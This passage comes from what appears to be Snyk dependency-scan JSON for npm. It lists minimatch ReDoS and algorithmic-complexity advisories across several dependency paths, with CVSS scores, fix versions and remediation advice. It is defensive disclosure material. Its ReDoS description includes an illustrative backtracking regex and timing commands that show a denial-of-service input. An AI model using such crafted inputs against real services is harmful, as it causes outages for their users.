"GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], 